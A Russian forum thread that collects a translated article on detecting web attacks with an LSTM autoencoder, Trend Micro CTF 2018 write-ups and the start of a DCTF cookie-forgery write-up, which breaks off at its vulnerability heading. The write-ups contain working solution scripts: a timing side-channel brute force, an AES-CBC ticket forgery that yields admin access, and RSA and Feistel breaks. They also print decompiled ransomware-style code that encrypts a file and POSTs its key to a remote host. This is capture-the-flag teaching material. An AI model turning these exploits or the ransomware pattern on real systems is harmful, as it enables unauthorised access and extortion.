В какой-то момент стало ясно, что последовательность AutoCoder [5] подходит к нашей цели больше всего.

Модель последовательности к последовательности [7] состоит из двух многослойных LSTM: кодера и декодера. Кодер отображает входную последовательность в вектор фиксированной размерности. Декодер декодирует целевой вектор, используя этот выход кодера.

Autoencoder - это модель последовательности к последовательности, которая устанавливает его целевые значения, равные его входным значениям. Идея состоит в том, чтобы научить сеть воссоздавать вещи, которые она увидела, или, другими словами, приблизить функцию идентификации. Если обученный автокодер получает аномальный образец, он, вероятно, будет воссоздавать его с высокой степенью ошибки.

detecting-web-attacks-rnn-02.png


КОД
Наше решение состоит из нескольких частей: инициализация модели, обучение, прогнозирование и валидация.

Большая часть кода, расположенного в репозитории, не требует пояснений, мы сосредоточимся только на важных деталях.

Модель инициализируется как экземпляр Seq2Seqкласса, который имеет следующие аргументы конструктора:

Код:
batch_size - the number of samples in a batch
embed_size - the dimension of embedding space (should be less than vocabulary size)
hidden_size - the number of hidden states in lstm
num_layers - the number of lstm blocks
checkpoints - path to checkpoint directory
std_factor - the number of stds that is used for defining a model threshold
dropout - the probability that each element is kept
vocab - the Vocabulary object
После этого инициализируются уровни автоопределения. Во-первых, кодировщик:
Код:
 # Encoder
  cells = [self._lstm_cell(args['hidden_size']) for _ in range(args['num_layers'])]
  multilstm = tf.contrib.rnn.MultiRNNCell(cells, state_is_tuple=True)

  _, enc_state = tf.nn.dynamic_rnn(
      multilstm,
      enc_embed_input,
      sequence_length=self.lengths,
      swap_memory=True,
      dtype=tf.float32)
И затем декодер:
Код:
 # Decoder
output_lengths = tf.reduce_sum(tf.to_int32(tf.not_equal(self.targets, 1)), 1)
helper = tf.contrib.seq2seq.TrainingHelper(
    dec_embed_input,
    output_lengths,
    time_major=False)

cells = [self._lstm_cell(args['hidden_size']) for _ in range(args['num_layers'])]
dec_cell = tf.contrib.rnn.MultiRNNCell(cells, state_is_tuple=True)

decoder = tf.contrib.seq2seq.BasicDecoder(dec_cell, helper, enc_state)

dec_outputs = tf.contrib.seq2seq.dynamic_decode(
    decoder,
    output_time_major=False,
    impute_finished=True,
    maximum_iterations=self.max_seq_len, swap_memory=True)
Поскольку проблема, которую мы решаем, является обнаружением аномалии, цели и исходные данные одинаковы. Таким образом, наш feed_dictвзгляд выглядит так:
Код:
feed_dict = {
  model.inputs: X,
  model.targets: X,
  model.lengths: L,
  model.dropout: self.dropout,
  model.batch_size: self.batch_size,
  model.max_seq_len: seq_len}
После каждой эпохи лучшая модель сохраняется как контрольная точка, которую позже можно загрузить, чтобы делать прогнозы. Для целей тестирования было настроено живое веб-приложение и было защищено моделью, чтобы можно было проверить, были ли реальные атаки успешными или нет.

Будучи вдохновленным механизмом внимания, мы попытались применить его к автокодеру, но заметили, что вероятности, выводимые из последнего слоя, лучше работают, чтобы отметить аномальные части заданного запроса.

malicious.png


На этапе тестирования наши образцы имеют очень хорошие результаты: точность и отзыв близки к 0.99. И кривая ROC составляет около 1. Выглядит потрясающе!

roc.PNG


Окончательный код можно получить здесь .

РЕЗУЛЬТАТЫ, ДОСТИЖЕНИЯ
Предложенная модель автокодирования Seq2Seq оказалась способной обнаруживать аномалии в HTTP-запросах с высокой точностью.

detecting-web-attacks-rnn-01.jpg


Эта модель больше похожа на человека: она изучает только «обычные» запросы пользователей к веб-приложению. Он обнаруживает аномалии в запросах, и он указывает точное место запроса, которое считается аномальным. Мы оценили эту модель от некоторых атак на тестовое приложение, и результаты оказались многообещающими. Например, изображение выше показывает, как наша модель обнаружила, что SQL-инъекция разделена на два параметра веб-формы. Такие инъекции SQL называются «фрагментированными», то есть части полезной нагрузки атаки поставляются в нескольких параметрах HTTP, что затрудняет классические WAF на основе правил для обнаружения таких случаев, поскольку они обычно проверяют каждый параметр отдельно. Код модели и данные поезда / теста будут выпущены в качестве ноутбука Jupyter, чтобы каждый мог воспроизвести наши результаты и предложить улучшения.

ДАЛЬНЕЙШИЕ ШАГИ И РЕЗЮМЕ
Есть несколько слабых мест для улучшения.

Прежде всего, следующий шаг - попытаться классифицировать атаку. Вспомните, как человеческий эксперт обнаружит атаку: во-первых, он заметил бы факт аномалии, тогда он начнет рассуждать, если это атака, и если да, то какая атака. Наша модель выполняет первый шаг этого, она находит некоторую аномальную последовательность внутри запроса. Теперь, когда мы уменьшили все существенные данные аномалии до этой маленькой последовательности символов, оставляя все части запроса для приложения, которые не выглядят как аномалия, что если мы попытаемся запустить на нем классификатор? Похоже, он может воспроизвести второй шаг человеческого рассуждения о том, с какой атакой мы имеем дело.

Вторая проблема - состязательные примеры, которые можно использовать для того, чтобы избежать нашего обнаружения. В прошлом году мы видели многочисленные исследовательские работы по состязательному ML, люди заставляют модели «видеть» все, что они хотят видеть. Очевидно, если бы Ева попыталась уклониться от нашей модели обнаружения, она, вероятно, придумала бы некоторые состязательные методы для этого.

Третья проблема - производительность. Теперь для обучения небольшому набору данных на двух графических процессорах требуются дни, которые вообще не масштабируются.

Однако мы будем утверждать, что в этой работе предлагается интересный подход для создания модели для обнаружения атак на веб-приложения. Одна из самых важных вещей в этом исследовании - попытка подражать рассуждениям эксперта-человека в неконтролируемой, но интерпретируемой манере. Также примечательно, что мы можем ясно видеть дальнейшие шаги в этом исследовании, и этапы кажутся очень прочными. Мы надеемся, что эта работа начнет интерес к использованию Deep Learning for Attack Detection во многих других командах и исследователях, и мы с нетерпением ожидаем сотрудничества с ними.

РЕКОМЕНДАЦИИ
[1] Понимание сетей LSTM

[2] Внимание и расширенные повторяющиеся нейронные сети

[3] Внимание, все, что вам нужно

[4] Внимание - все, что вам нужно (аннотировано)

[5] Учебник Neural Machine Translation (seq2seq)

[6] Автокодеры

[7] Последовательность к обучению последовательностям с нейронными сетями

[8] Создание автокодеров в Keras


ИСТОЧНИК: https://aivillage.org/posts/detecting-web-attacks-rnn/
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Trend Micro CTF 2018

Analysis-Offensive

Нам дается программа, oracleкоторая читает наш вклад. Если наш вход совпадает с флагом, он выводит True, в противном случае False.
Согласно подсказкам из описания, (1) Программа выйдет как можно быстрее. (2) Это не обратная задача.
Итак, давайте посмотрим на системные вызовы, которые он использует:
Код:
$ strace ./oracle TMCTF{
execve("./oracle", ["./oracle", "TMCTF{"], [/* 23 vars */]) = 0
brk(NULL)                               = 0x146d000
brk(0x146e1c0)                          = 0x146e1c0
arch_prctl(ARCH_SET_FS, 0x146d880)      = 0
uname({sysname="Linux", nodename="ubuntu-xenial", ...}) = 0
readlink("/proc/self/exe", "/home/vagrant/trend/analysis-200"..., 4096) = 39
brk(0x148f1c0)                          = 0x148f1c0
brk(0x1490000)                          = 0x1490000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
nanosleep({0, 15000000}, NULL)          = 0
nanosleep({0, 15000000}, NULL)          = 0
nanosleep({0, 15000000}, NULL)          = 0
nanosleep({0, 15000000}, NULL)          = 0
nanosleep({0, 15000000}, NULL)          = 0
nanosleep({0, 15000000}, NULL)          = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
write(1, "False\n", 6False
)                  = 6
exit_group(0)                           = ?
+++ exited with 0 +++
Приятно, он спит шесть раз, когда первые шесть символов верны. Вот наш скрипт:
Python:
import subprocess
import string

flag = 'TMCTF{'
while True:
    for c in string.ascii_letters + string.digits + '{}_':
        batcmd = '/usr/bin/strace ./oracle "{}" 2>&1'.format(flag + c)
        result = subprocess.check_output(batcmd, shell=True)
        if result.count('nano') == len(flag) + 1:
            flag += c
            break
    print(flag)
300
Нам даны три открытых ключа и сообщения для них соответственно. Например,
message for Alice:
18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422
Alice's public key (e,N):
( 65537 , 23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347 )
Оказывается, что любые два модуля Ns имеют общий коэффициент, поэтому все они могут быть факторизованы.
Python:
from gmpy2 import *

...

g_ab = gcd(a_N, b_N)
g_bc = gcd(b_N, c_N)

def decrypt(msg, p, q, N):
    phi_n = (p-1)*(q-1)
    d = invert(65537, phi_n)
    msg = pow(msg, d, N)
    print(int2text(msg))

decrypt(a_msg, g_ab, a_N/g_ab, a_N)
decrypt(b_msg, g_ab, b_N/g_ab, b_N)
decrypt(c_msg, g_bc, c_N/g_bc, c_N)

400 ACME Protocol
Нам предоставляется протокол и некоторые эталонные реализации в Python. Автор этой задачи так добр. Дана спецификация протокола! поэтому давайте более подробно рассмотрим протокол, чтобы найти уязвимость.
Во-первых, наша цель очевидна: бегите getflag как admin

Код:
4.6 COMMAND (Message Type 0x06)

Message Format: Client -> Server: 0x06 | Ticket | Command

Explanation: Client requests execution of the command specified by the string Command. Ticket must be a valid, current ticket received via a LOGON_SUCCESS message.

Processing: The server executes the following algorithm upon receipt:

Set D = Decrypt(Base64Decode(Ticket), KS)
Scan D sequentially as follows:
Set IdentityFromTicket = JSON string (UTF-8, null-terminated)
Set Timestamp = 8 bytes
If Timestamp is too old (> 1 hour):
    Respond with message AUTHX_FAILURE
    End
Set U to the string IdentityFromTicket.user
Iterate over IdentityFromTicket.groups, collecting the results into an array of strings, G
Set Identity = object expressing U and G
If Command = “whoami”:
    Set Result = JSON string: { user: Identity.U, groups: [ G1, G2, ... ] }
        where G1, G2, ... are the elements of Identity.G
Else If Command = “getflag”:
    If G contains the string “admin”:
        Set Result = CTF flag
    Else:
        Respond with message AUTHX_FAILURE
        End
Else:
    Respond with message AUTHX_FAILURE
    End
Respond with message COMMAND_RESULT(Result)
Итак, следующая проблема заключается в том, как создать допустимую IdentityFromTicketстроку JSON, зашифрованную KS (ключ сервера)? Мы хотим отправить Encrypt({"user":"admin","groups":["admin"]} | timestamp). Обратите внимание, что в этой задаче у нас даже нет учетной записи гостя для входа в систему.

Конечно, у нас нет ключа сервера, но можем ли мы злоупотреблять другой командой, чтобы манипулировать полезной нагрузкой? Давайте посмотрим на LOGON_REQUEST:

Код:
4.1 LOGON_REQUEST (Message Type 0x01)

Message format: Client -> Server: 0x01 | U

Explanation: The client sends this message to the server to initiate authentication with username U.

Processing: The server executes the following algorithm upon receipt:

Set Nonce = 8-byte random nonce
Set Timestamp = current timestamp
Set ChallengeCookie = Base64Encode(Encrypt(Nonce | U | Timestamp, KS))
Respond with message LOGON_CHALLENGE(Nonce, ChallengeCookie)
В основном сервер будет шифровать пользовательское U (имя пользователя), и мы получим зашифрованный текст Encrypt(Nonce | U | Timestamp).
Очевидно, что Encrypt(Nonce | U | Timestamp)это похоже на то, что нам нужно Encrypt({"user":"admin","groups":["admin"]} | timestamp). Однако, как избавиться от nonce?
Поскольку шифрование использует AES-128-CBC, возможно усечение nonce!
Идея проста: мы позволим серверу шифровать следующую полезную нагрузку:
block 0: 8-byte nonce + 8-byte garbage
block 1,2,3: 16 * 3 bytes JSON string
block 4: 8-byte timestamp + 8-byte PKCS#7 padding
Python:
#!/usr/bin/env python3
import socket
import time
import numpy as np
import json
import base64

def send(s):
    sock.send(s)
    print(f'[<-send] {s}')

def recv():
    s = sock.recv(2**14)
    print(f'[recv->] {repr(s)}')
    return s

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 9999))

payload = '{"user":"admin","groups":["admin", "aaaaaaaaa"]}'
assert len(payload) == 16 * 3
send(b'\x01garbage!' + payload.encode() + b'\x00')
# 0x02 | 8 byte Nonce | ChallengeCookie (null byte terminated)
enc = base64.b64decode(recv()[1+8:-1])
# enc: 6 blocks: iv | (8 byte Nonce | 8 byte garbage!) | 48 bytes payload | Timestamp
assert len(enc) == 16 * 6

#0x06 | Ticket | Command
send(b'\x06' + base64.b64encode(enc[16:]) + b'\x00' + b'getflag\x00')
print(recv())
# TMCTF{90F41EF71ED5}
sock.close()
Reversing-Binary
100 (sces60107)
  1. Используйте PyInstaller Extractor v1.9 и uncompyle2
  2. Теперь у нас есть этот исходный код
Python:
import struct, os, time, threading, urllib, requests, ctypes, base64
from Cryptodome.Random import random
from Cryptodome.Cipher import AES, ARC4
from Cryptodome.Hash import SHA
infile = 'EncryptMe1234.txt'
encfile = 'EncryptMe1234.txt.CRYPTED'
keyfile = 'keyfile'
sz = 1024
bs = 16
passw = 'secretpassword'
URL = 'http://192.168.107.14'
rkey = 'secretkey'
key = os.urandom(bs)
iv = os.urandom(bs)

def callbk():
    global rkey
    global passw
    global iv
    global key
    id = 0
    n = 0
    while id == 0 or n == 0 and n < 256:
        id = os.urandom(1)
        n = hex(ord(id) + bs)

    id = id.encode('hex')
    for c in passw:
        passw = ''.join(chr(ord(c) ^ int(n, 16)))

    key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key))
    for c in rkey:
        rkey = ''.join(chr(ord(c) ^ int(n, 16)))

    iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv))
    key = key.encode('hex')
    iv = iv.encode('hex')
    Headers = {'Content-Type': 'application/x-www-form-urlencoded',
     'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36'}
    params = urllib.urlencode({'id': id,
     'key': key,
     'iv': iv})
    rnum = os.urandom(bs)
    khash = SHA.new(rnum).digest()
    cipher1 = ARC4.new(khash)
    khash = khash.encode('hex')
    msg = cipher1.encrypt(params)
    msg = base64.b64encode(khash + msg.encode('hex'))
    response = requests.post(url=URL, data=msg, headers=Headers)
    del key
    del iv
    ctypes.windll.user32.MessageBoxA(0, 'Your file "EncryptMe1234.txt" has been encrypted. Obtain your "keyfile" to decrypt your file.', 'File(s) Encrypted!!!', 1)


def encrypt():
    global encfile
    global infile
    aes = AES.new(key, AES.MODE_CBC, iv)
    if os.path.exists(infile):
        fin = open(infile, 'r')
        fout = open(encfile, 'w')
        fsz = os.path.getsize(infile)
        fout.write(struct.pack('<H', fsz))
        while True:
            data = fin.read(sz)
            n = len(data)
            if n == 0:
                break
            elif n % bs != 0:
                data += '0' * (bs - n % bs)
            crypt = aes.encrypt(data)
            fout.write(crypt)

        fin.close()
        fout.close()
        os.remove(infile)
        callbk()
    else:
        return


def decrypt():
    global keyfile
    key = ''
    iv = ''
    if not os.path.exists(encfile):
        exit(0)
    while True:
        time.sleep(10)
        if os.path.exists(keyfile):
            keyin = open(keyfile, 'rb')
            key = keyin.read(bs)
            iv = keyin.read(bs)
            if len(key) != 0 and len(iv) != 0:
                aes = AES.new(key, AES.MODE_CBC, iv)
                fin = open(encfile, 'r')
                fsz = struct.unpack('<H', fin.read(struct.calcsize('<H')))[0]
                fout = open(infile, 'w')
                fin.seek(2, 0)
                while True:
                    data = fin.read(sz)
                    n = len(data)
                    if n == 0:
                        break
                    decrypted = aes.decrypt(data)
                    n = len(decrypted)
                    if fsz > n:
                        fout.write(decrypted)
                    else:
                        fout.write(decrypted[:fsz])
                    fsz -= n

                fin.close()
                os.remove(encfile)
                break


def main():
    encrypt()
    t2 = threading.Thread(target=decrypt, args=())
    t2.start()
    t2.join()


if __name__ == '__main__':
    main()
  1. Извлеките информацию из файла filecrypt.pcap и расшифруйте сообщение, затем получите эту строку id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390
  2. Но это не оригинальный ключ и оригинал iv. Взгляните на эту часть кода, затем вы можете восстановить оригинальный ключ и оригинал iv
Python:
 while id == 0 or n == 0 and n < 256:
        id = os.urandom(1)
        n = hex(ord(id) + bs)

    id = id.encode('hex')
    for c in passw:
        passw = ''.join(chr(ord(c) ^ int(n, 16)))

    key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key))
    for c in rkey:
        rkey = ''.join(chr(ord(c) ^ int(n, 16)))

    iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv))
    key = key.encode('hex')
    iv = iv.encode('hex')
  1. Исходный ключ = "ce66e0fe4c272316d680f66797c057e7".decode("hex")
  2. Оригинал iv = "745def348b5106d157ad2f70281f7271".decode("hex")
  3. Теперь вы знаете, как получить флаг TMCTF{MJB1200}
400
часть 2
Использование сжатия состояний для увеличения скорости поиска.

C:
#pragma GCC optimize ("O3")
#include<bits/stdc++.h>
#pragma GCC optimize ("O3")
#define f first
#define s second
using namespace std;
typedef pair<int,int> par;
unsigned char op[62];
int cnt=0;
inline unsigned char tohex(int x){
    if(x>9)return x-10+'a';
    return x+'0';
}
char s[100];
unsigned int chash(){
    unsigned long long int a = 0;
    for(int i=0;i<62;i++){
        a = ( tohex((op[i]>>4&0xF)) + (a >> 13 | a << 19)) & 0xffffffffll;
        a = ( tohex(op[i]&0xF) + (a >> 13 | a << 19)) & 0xffffffffll;
    }
    return a;
}
void F(int p,int mask,bool boat){
    if(p==62&&mask==0xFF){
        cnt++;
        unsigned int hsh=chash();
        if(
            hsh==0xE67FE7B8||
            hsh==0xE27FEBB8||
            hsh==0xE66FE7C8||
            hsh==0xE26FEBC8||
            hsh==0xF276F3DC||
            hsh==0xE27703DC||
            hsh==0xF272F3E0||
            hsh==0xE27303E0
        ){
            fprintf(stderr,"%d %08x ",cnt,hsh);
            for(int i=0;i<62;i++)
                fprintf(stderr,"%02x",op[i]);
            fprintf(stderr,"\n");
        }
        //puts("~~~");
        return;
    }
    if(p+4<=62){
        op[p]=0xd1;
        if(boat==0){
            op[p+1]=0x1;
            for(int x=~mask&0xFF,y=x&-x;y;x^=y,y=x&-x){
                op[p+3]=y;
                for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){
                    op[p+2]=y2;
                    if(y2==0x40&&y==0x10)
                        continue;
                    int nmk=mask^y^y2;
                    if((y==0x20||y2==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41))
                        continue;
                    if((y==0x40||y2==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24))
                        continue;
                    if((y==0x80||y2==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10))
                        continue;
                    F(p+4,nmk,boat^1);
                }
            }
        }
        else{
            op[p+1]=0x0;
            for(int x=mask,y=x&-x;y;x^=y,y=x&-x){
                op[p+3]=y;
                for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){
                    op[p+2]=y2;
                    if(y2==0x40&&y==0x10)
                        continue;
                    int nmk=mask^y^y2;
                    if((y==0x20||y2==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41))
                        continue;
                    if((y==0x40||y2==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24))
                        continue;
                    if((y==0x80||y2==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10))
                        continue;
                    F(p+4,nmk,boat^1);
                }
            }
        }
    }
    if(p+3<=62){
        op[p]=0xd0;
        if(boat==0){
            op[p+1]=0x1;
            for(int x=~mask&0xE0,y=x&-x;y;x^=y,y=x&-x){
                op[p+2]=y;
                int nmk=mask^y;
                if((y==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41))
                    continue;
                if((y==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24))
                    continue;
                if((y==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10))
                    continue;
                F(p+3,nmk,boat^1);
            }
        }
        else{
            op[p+1]=0x0;
            for(int x=mask&0xE0,y=x&-x;y;x^=y,y=x&-x){
                op[p+2]=y;
                int nmk=mask^y;
                if((y==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41))
                    continue;
                if((y==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24))
                    continue;
                if((y==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10))
                    continue;
                F(p+3,mask^y,boat^1);
            }
        }
    }
    return;
}
int main(){
    F(0,0,0);
}
И вы получите выход примерно за 15 секунд на Intel 8650U.
45721 e27303e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d1018010
45724 f272f3e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d1018010
59555 e27703dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d1018010
59558 f276f3dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d1018010
72019 e26febc8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d1018010
72022 e66fe7c8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d1018010
85399 e27febb8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d1018010
85402 e67fe7b8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d1018010
Отправьте инструкции в проблемную программу. И вы получите флаг: TMCTF{v1rtu4l_r1v3r5_n_fl4g5} Кстати, есть 1348396 решений этой проблемы.
Forensics-Crypto1
400
Нам предоставляется пара открытого текста и зашифрованного текста, а также зашифрованный секретный текст. В этой проблеме шифрование Файстеля используется при шифровании. Круглую функцию выбирают xor, а количество раундов шифрования неизвестно. Наша цель - расшифровать секретный текст.

Давайте сначала запишем результаты после каждого раунда шифрования. Пусть L, Rпервая и последняя половина открытого текста, мы просто игнорируем разницу в ключах и обозначаем их как xor K. (Но помните, что они на самом деле не совпадают.) Обратите внимание, что операция +означает xor.
Round 0: L, R
Round 1: R, L+R+K
Round 2: L+R+K, L+K
Round 3: L+K, R+K
Round 4: R+K, L+R+K
... repeat
Python:
def bin2text(s):
    l = [s[i:i+8] for i in range(0, len(s), 8)]
    return ''.join([chr(int(c, 2)) for c in l])

def binxor(s, t):
    return ''.join([str(int(s[i]) ^ int(t[i])) for i in range(len(s))])
    
...

pt0, pt1 = pt[:144], pt[144:]
ct0, ct1 = ct[:144], ct[144:]
st0, st1 = st[:144], st[144:]

# guess the result is R+K, L+R+K
k1 = binxor(pt0, ct1)
k2 = binxor(binxor(ct0, ct1), pt1)

m1 = binxor(st1, k1)
m2 = binxor(binxor(st0, st1), k2)
print(bin2text(m1+m2))
Forensics-Crypto2
200 (sces60107)
  1. Используйте PyInstaller Extractor v1.9
  2. Невозможно использовать uncompyle2. Но мы можем восстановить флаг непосредственно из байтового кода
  3. xxd мавзолей и получить это
Python:
from z3 import *

s=Solver()


flag=[]

for i in range(24):
  flag.append(BitVec("flag_"+str(i),32))
  s.add(flag[i] < 256)
  s.add(flag[i] > 0)


summ=0

for i in flag:
  summ+=i
s.add(summ%24 == 9)
s.add(summ/24 == 104)
inval=[]

for i in flag:
  inval.append(i^104)
ROFL=list(reversed(inval))
KYRYK = [0]*5
QQRTQ = [0]*5
KYRYJ = [0]*5
QQRTW = [0]*5
KYRYH = [0]*5
QQRTE = [0]*5
KYRYG = [0]*5
QQRTR = [0]*5
KYRYF = [0]*5
QQRTY = [0]*5
print len(inval)

for i in range(5):
  for j in range(4):
    KYRYK[i] ^= inval[i+j]
    QQRTQ[i] += inval[i+j]
    KYRYJ[i] ^= inval[i*j]
    QQRTW[i] += inval[i*j]
    KYRYH[i] ^= inval[i*j+8]
    QQRTE[i] += inval[i*j+8]
    KYRYG[i] ^= ROFL[i*j+8]
    QQRTR[i] += ROFL[i*j+8]
    KYRYF[i] ^= ROFL[i+j]
    QQRTY[i] += ROFL[i+j]
  KYRYK[i] += 32
  KYRYJ[i] += 32
  KYRYH[i] += 32
  KYRYG[i] += 32
  KYRYF[i] += 32
  QQRTE[i] += 8
  QQRTY[i] += 1

for i,j in zip(KYRYK,'R) +6'):
  k=ord(j)
  s.add(i == k)
for i,j in zip(QQRTQ,'l1:C('):
  k=ord(j)
  s.add(i == k)
for i,j in zip(KYRYJ,' RP%A'):
  k=ord(j)
  s.add(i == k)
for i,j in zip(QQRTW,[236,108,102,169,93]):
  s.add(i == j)
for i,j in zip(KYRYH,' L30Z'):
  k=ord(j)
  s.add(i == k)
for i,j in zip(QQRTE,' j36~'):
  k=ord(j)
  #print i,j
  s.add(i == k)
for i,j in zip(KYRYG,' M2S+'):
  k=ord(j)
  #print i,j
  s.add(i == k)
for i,j in zip(QQRTR,'4e\x9c{E'):
  k=ord(j)
  s.add(i == k)
for i,j in zip(KYRYF,'6!2$D'):
  k=ord(j)
  s.add(i == k)
for i,j in zip(QQRTY,']PaSs'):
  k=ord(j)
  s.add(i == k)
print s.check()
realflag = ""
for i in flag:
  realflag+=chr(s.model()[i].as_long())
print realflag
# TMCTF{SlytherinPastTheReverser}

ИСТОЧНИК: https://github.com/balsn/ctf_writeup/tree/master/20180914-trendmicroctf
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Get Admin - 220
Это очень неожиданный концерт для меня. Тем не менее, я занят другими проектами, поэтому, пожалуйста, дайте мне руку, чтобы проверить это. Конечно, бесплатно. :)
Файлы: https://dctf.def.camp/dctf-18-quals-81249812/get-admin.zip
Цель: https://admin.dctfq18.def.camp/

Решение
обзор
Веб-сайт довольно простой, он позволяет вам регистрировать учетную запись с вашим именем, паролем, электронной почтой и позволяет вам войти в систему. Если idесть 1(то есть , если вы admin), он печатает флаг еще говорит Try Harder(для всех остальных пользователей). Если необходимо, вы можете обновить свой профиль и выбрать вариант выхода из системы.

Когда мы заходим на сайт, он устанавливает cookie в нашем браузере, который AES-128-CBCзашифрован и содержит наш id(автоматически устанавливается во время регистрации), usernameа также emailвместе с CRC-32 checksum. Наряду с этими зашифрованными данными он содержит lengthв конце, который дает длину расшифрованного файла cookie с открытым текстом. Странный. Это была ненужная информация для этой схемы шифрования / дешифрования. Мы увидим позже, как это было использовано для использования расшифровки.

Шифрование файла cookie
Давайте перейдем к специфике. Как только мы войдем в систему, следующий файл cookie будет установлен в index.php:

PHP:
setcookie('user',encryptCookie([
    'id' => $userid,
    'username' => $_POST['username'],
    'email' => $row['email'],
]), time()+60*60*24*30);
Здесь есть encryptCookie()функция config.phpсо своими вспомогательными функциями:
PHP:
function encryptCookie($arr) {
    $cookie = compress($arr);
    $arr['checksum'] = crc32($cookie);
    return encrypt(compress($arr), AES_KEY, AES_IV);
}

function compress($arr) {
    return implode('÷', array_map(function ($v, $k) { return $k.'¡'.$v; }, $arr, array_keys($arr) ));
}

function encrypt($plaintext, $key, $iv) {
    $length     = strlen($plaintext);
    $ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
    return base64_encode($ciphertext) . sprintf('%06d', $length);
}
compress()просто сериализует массив в строку, где пары ключ-значение разделяются символом a ÷и вставляются ¡между каждым ключом и значением. Например, если id = 1337, username = testac, email = fake@mail.comон compress()вернется id¡1337÷username¡testac÷email¡fake@mail.com.

encryptCookie()принимает id, usernameи в emailкачестве входных сигналов, вычисляет CRC-32контрольную сумму сериализованного печенья, присоединяет его к кукам снова. Теперь мы получаем:id¡1337÷username¡testac÷email¡fake@mail.com÷checksum¡2160329226

Затем эта строка зашифровывается, AES-128-CBCи длина указанной выше строки 70( ¡и ÷подсчитывается как длина 2каждого) дополняется 0sдобавлением к полученной base64строке. Итак, это наш последний файл cookie:Rx5R751nNLFTDmwdj248byPKYFCReDmb8cTlK8m53X3TLG5WpUwYv+8zN0Ur2YVZ0q7giK51kNvFRjr36elyKiunyw6aPYR1BAE9dF6+7KU=000070

Расшифровка файла cookie
В index.php, если cookie уже установлен, но _SESSION['userid']нет, он пытается расшифровать файл cookie, и если idон в нем больше 0, задает _SESSION['userid']переменную и перенаправляет нас admin.php. Вот decryptCookie()и его вспомогательная функция config.php:

PHP:
function decryptCookie($cypher) {
    return decompress(decrypt($cypher, AES_KEY, AES_IV));
}

function decrypt($ciphertext, $key, $iv) {
    $length     = intval(substr($ciphertext, -6, 6));
    $ciphertext = substr($ciphertext, 0,-6);
    $output     = openssl_decrypt(base64_decode($ciphertext), 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
    if($output == FALSE) {
        echo('Decryption error (0).');
        die();
    }
    return substr($output, 0, $length);
}
decryptCookie()берет зашифрованный файл cookie, отделяет его lengthот зашифрованного текста, расшифровывает шифр и возвращает только первые lengthсимволы расшифрованного файла cookie. Mhmm. Затем это передается decompressed():
PHP:
function decompress($cookie) {
    if(preg_match('/[^\x00-\x7F]+\ *(?:[^\x00-\x7F]| )*/im',$cookie, $m) == 0) {
        echo('Decryption error (1).');
        return false;
    }

    $t = explode("÷", $cookie);

    $arr = [];
    foreach($t as $el) {
        $el = explode("¡", $el);
        $arr[$el[0]] = $el[1];
    }

    if(!isset($arr['checksum'])) {
        echo('Decryption error (2).');
        return false;
    }

    $checksum = intval($arr['checksum']);
    unset($arr['checksum']);
    $cookie = compress($arr);
    if($checksum != crc32($cookie)) {
        echo('Decryption error (3).');
        return false;
    }

    return $arr;
}
decrypt()Функция:

  • Проверяет, соответствует ли расшифрованный файл cookie регулярному выражению
  • Создает массив из его сериализованной формы
  • Извлекает ожидаемую контрольную сумму CRC-32
  • Вычисляет контрольную сумму CRC-32 оставшихся данных
  • Проверяет соответствие двух контрольных сумм
  • Возвращает массив, содержащий данные пользователя
Затем это возвращается index.phpи затем перенаправляет нас admin.php. Там, если наш id == 1, флаг печатается, но, поскольку мы являемся постоянными пользователями, наш id > 1.

Уязвимость
